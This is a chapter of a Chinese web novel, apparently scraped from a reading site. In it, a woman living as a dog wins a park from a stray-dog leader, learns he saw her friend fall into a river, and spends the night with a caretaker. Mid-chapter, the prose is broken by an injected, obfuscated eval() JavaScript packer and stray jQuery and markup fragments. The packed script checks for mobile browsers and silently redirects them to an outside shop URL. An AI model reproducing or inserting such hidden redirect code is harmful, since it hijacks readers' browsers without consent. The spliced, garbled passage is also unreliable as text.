21. 公园兴,夏焰王

作品:《快使用双截棍

    管不了那么多了!


    就算是香肠也得给我上!


    一根细线拴着的两根香肠被夏焰抡出残影,一下接着一下打在大黑的脸上。


    “好厉害的武器!哈哈哈!”


    大黑笑着向后退,试图抬手抵挡夏焰的进攻,结果连连败退。


    “我打!”


    夏焰整个人被香肠的气味包裹,击打效果远远不及真正的双截棍,她只能尝试以快取胜,出其不意,攻其不备。


    大黑只守不攻,夏焰暂时摸不清它的套路,只好留着一手,以防万一。


    她一只脚在另一只脚侧后方,方便她转身闪躲。


    在她的胳膊都有些酸痛感出现时,紧紧拴住两根香肠的细绳终于不堪重负断开了,一根飞入灌木丛里引发一阵不小的骚乱。


    另一根被大黑一口咬下,只余下夏焰手中一小截。


    “都给我咬成□□肠了!”


    “哈哈哈哈哈!味道不错!”


    大黑笑着把嘴里的香肠咬得咯吱作响,油水四溅。


    它低头靠近夏焰,夏焰偏头躲开,漏出的香油溅到夏焰的耳朵侧颈,让她有些作呕。


    她低头看向手里的半截香肠,心念电转间思索对策,却不料大黑几步向她扑来,张开血盆大口袭击她的脖子。


    夏焰顺势把重心移到后腿,向后撤身,抬手抵挡它的獠牙。


    手臂被卷入大黑口中,夏焰眉头轻拧,却没有想象中的疼痛。


    大黑叼着她的手臂却迟迟没有用獠牙刺穿,好像在赏析或者是把玩。


    这幅高高在上的样子一下和那个晚宴上的秃头男人重叠。


    夏焰做出当时没能做也不能做的事,把他眼睛里爬出的蠕虫再送回去。


    她做人的时候不能干的,现在通通可以了,放肆地,畅快地,用尽全力向对面的眼睛打去。


    大黑吃痛哀嚎一声,夏焰把爪子从它嘴里拿出来,另一只爪子紧接着又向它眼睛打去。


    正所谓,好拿不如赖打。


    夏焰的记性好,甚至到了过目不忘的程度。师傅做过的动作一招一式都被她存在脑袋里,即使不能准确打出来,也能记得大概。


    她此刻把一套拳法拆开,关于哪个动作的记忆先浮现出来,就出手打哪个,动作又快又密,拳头如同冰雹般向大黑打去。


    拳头大的冰雹在夏夜里局部精准击打。


    大黑根本没有机会还手。


    夏焰使出一招上勾拳,又一个肘击,最后气沉丹田一劈掌,大黑轰然倒地。


    高大的身躯就这么瘫倒在沙地上。


    撞出一身尘埃。


    它还是笑着,只是嘴里的笑含糊不清,含了血腥。


    夏焰再次举起拳头。


    “大侠饶命!哈哈哈你赢了!你赢了!太好了!你赢了!”


    它的声音越来越大,向在场的所有动物宣布:“她赢了!”


    “公园,归她了!”


    它迅速喘息着,吐出一口带血的唾沫,吐出一颗尖牙。


    四周安静极了,只有夏蝉在高声鸣叫宣布本场赛事的结束。


    树顶的橘猫滑溜下树,不发出一点声响,极速向它奔来,却在不远处停下。


    大黑抬起爪子让它别过来。


    它咧嘴对夏焰说:“祝贺你,从此以后这个地方就归你了。你很厉害,不会让它们被坏人伤害,我放心了。”


    “我不当老大,你爱当你当,我已经不是玩过家家的年纪了。”夏焰抬起下巴,“只是,你们以后要允许小朋友们到这来玩,这不是你们独享的公园。”


    大黑又笑了,它的笑容越来越无力,它笑夏焰的天真:“这也不是你们人类独享的世界。”


    你们人类?


    夏焰睁大眼睛。


    “我知道你不一样。”它偏着头看向灌木丛后陆陆续续探出的毛绒脑袋,“我已经很老了,没办法再照顾它们,我希望你可以答应我。”


    夏焰有些动摇,她的神情被大黑看到眼里。


    “我亲眼所见你是怎么变成现在这样的。”


    夏焰诧异,她从来没想到这场意外会有目击者。


    “我还亲眼看到很多事情,包括五年前那个夜晚,那个女孩是怎么翻身掉进河水里的。”它嘶哑的声音像一记重锤锤向夏焰,报复她刚才的胜利。


    它用爪子轻拍夏焰耳朵上的爱心印记。


    “这是她的狗对吧?”


    夏焰一下压住它的胸口,要它说清楚都是怎么回事。


    “我只是一只被人抛弃的流浪狗,怎么会明白到底发生了什么呢,我最多只能把我看到的都告诉你。”


    “我不想让它们看到我这个样子,嗯?让我这个前任老大哥体面点离开好吗?”


    夏焰艰难咽下口水,把喉咙里的血腥味压进肚子。


    她幽幽迈步走向灌木丛。


    无数双眼睛直直盯着她,期望,愤怒,兴奋,无趣……千种万种无法言说的感情都从眼睛里跑出来放声嚎叫。


    夏焰闭眼深吸一口气,爪子指向公园中心荒废已久的滑滑梯,向它们宣布:“这个公园归我了。你们想离开的可以离开,想留下的欢迎留下,从此以后,只要我活在世上一日就保护你们一日,只要有我在,就不会有人伤害你们。”


    还是一片寂静。


    夏焰睁开眼,但是不去看它们的眼睛,刚才一番豪言壮语已经把她捧上了道德的最高点,几乎让她无处遁形。她有些羞怯,低头转身,想要离开。


    才走出两步远,突然听见窸窸窣窣的脚步声。


    她转头,发现它们正摇头晃脑甩掉身上的叶子,齐齐向她走来。


    它们把她包围成圈像上次一样。


    不过上次是为了打败她,这次是为了能更好地仰慕她。


    一只泰迪犬怯怯上前一步,在她的注视下扭身轻舔她后颈上已经愈合的伤口。


    舌头划过伤口痛痒的感觉像丝丝缕缕的龙须糖。


    夏焰拍拍它的脑袋告诉它:“没关系。”


    不知道是谁领头发出第一声嚎叫,一声一声连成一片,成为一个整体。


    音调一点都不协调,伴随着一闪一闪的灯光却成为这个夏夜里的最佳合唱曲目。


    它们的歌声送给新盟主,眼睛却在大黑身上流连忘返。


    夏焰跟着看去,看它如何一瘸一拐走出公园大门,它不愿让大家看到它失魂落魄的败者模样。


    那只橘猫最后看夏焰一眼,投来复杂难懂的目光,紧跟着大黑的脚步缓缓离开公园。


    它被人勒住脖子差点窒息而亡,大黑从水沟里把它捞起,令它重获新生。


    一切都发生在那个夜晚。


    夏焰站在化妆桌上,盯着照片里方昉的眼睛。


    方昉没有葬礼,也没有遗体告别,当天晚上就被送去火化匆匆下葬。


    夏焰知道消息的时候,一个活生生的人就只剩下一个小盒子。


    她没留下任何遗言,遗物。


    夏焰甚至想至少应该像八点档的狗血剧,留下一个孩子,从她血液中造出的孩子。


    这样她们之间就又有联系了,她会竭尽全力照顾她的孩子,直到她心脏停止跳动前一秒,说:“我和她情同手足,莫逆之交。”


    可是什么都没有。


    如同一首缠绵悱恻的诗被截掉下半阙,只能从前半段里猜测后续未完的诗。


    你对这个世界毫无留恋,才有勇气翻身跳下,让河水带你远去。


    她年轻动人的面容被永封在玻璃相框下,她的眼睛透过相框看向此时此刻看照片的人。


    相框上的玻璃反光映出来者的眼,和多年前的模样重合尚未改变。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921190|191705||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “你在看什么?”


    夏焰循声转头,看林砚之拿下那张相片,放到床上。


    她被林砚之抱在腿上和他一起看照片。


    “你在看我吗?哪个是我?”


    夏焰翻个白眼,还是用爪子拍了拍照片里的林砚之。


    她听见头顶的轻笑,她向后靠去,林砚之微微弯腰,她的脑袋蹭在他的喉结上,感受他强劲有力的心跳声。


    “你在看什么?”


    林砚之一问到底,要探个究竟。


    夏焰犹豫着把爪子碰上那张青涩的脸。


    “你认识她?”


    夏焰点点头。


    林砚之看着照片里的方昉,好像陷入回忆。


    “她好像也拍电影吧?怎么会学动物医学呢?”他把照片从相框里取出来,翻到背面,对应着顺序去看名字。


    “方昉。”他念出她的名字。


    “我记得她,她大一那年我和老师一起做他们的任课老师。”他用手指向他说的老师。


    一个和电话里声音不太能对等的形象出现在眼前。


    看起来还算年轻,还没有秃顶,林砚之却说他马上要退休了。


    “她很优秀,大一主动申请进入老师的实验室。”


    夏焰仰着头,期望他能再多说点关于方昉的事,她已经很久没有听到方昉的名字。


    “我不清楚她后来毕业去哪了。”


    一句话就结束了。


    林砚之摸到夏焰后脖上要看伤口,夏焰用爪子拍他的手,在掌心留下一个红爪印。


    夏焰不想理他,转身继续看照片,看累了就把脸贴在照片上。


    “别又睡着流口水了。”


    林砚之抬起她的脸把照片收走。


    “去洗澡吧,早点睡,明天要去面试了。”


    他帮夏焰放好洗澡水,夏焰自己跳进浴缸洗澡,然后湿漉漉地跑出浴室,他再给她用吹风机吹干。


    自从他知道夏焰不是真正的小狗那天开始,就慢慢不再给她洗澡。


    每次她洗澡的时候他就坐在浴室门口听他的动静。夏焰不知道,有时候会忘我地唱歌,被林砚之偷偷录下来。


    在她耍赖不吹干就要上床的时候放给她听,气得她一蹦三尺高,发誓一定要给他点厉害瞧瞧。


    林砚之笑着用吹风机吹她,像开大炮一样,轰隆轰隆。


    他把夏焰放在床上,然后从衣柜里拿出一件背心,最柔软,可以贴身穿的材质。


    “还是穿个衣服吧,万一……”他不继续讲,只是把小狗的爪子穿过袖子,把每颗纽扣都仔细扣好。


    他想了想决定搬到客厅去睡一晚,抱着被子离开卧室,回头却发现夏焰踩在床尾直直盯着他看。


    留下来吧。


    他仿佛听见她这样说。


    夏焰穿着小狗图案的背心和他一起躺在床上。


    林砚之一会儿看看夏焰的手机有没有充满电,一会儿看看他有没有把闹钟打开,忙活半天,终于躺下。


    床垫被他压出一个小小的凹陷,夏焰却觉得变成了一个大斜坡,不由自主地滚向他的身边。


    林砚之突然想起了什么,再次翻身起来,走出卧室。夏焰听见他拉开抽屉翻找东西。


    “差点忘记。”他拿出丝绒盒里的长命锁,戴在夏焰脖子上。


    他用手指抚摸锁面上刻下的字。


    “抱歉,我没保存好,有些生锈了。”他两只手揉搓夏焰的脑袋,“等下次见面,我会送你一个新的,好吗?”


    下次见面,是什么时候呢?


    夏焰想起豆豆的眼泪。


    她摇摇头。


    林砚之低头看着她胸前的银锁,看不清他的表情,只能看见他高高的鼻梁和薄薄的唇。


    他陡然抬眼向她望去,他笑问:“准备好了吗?”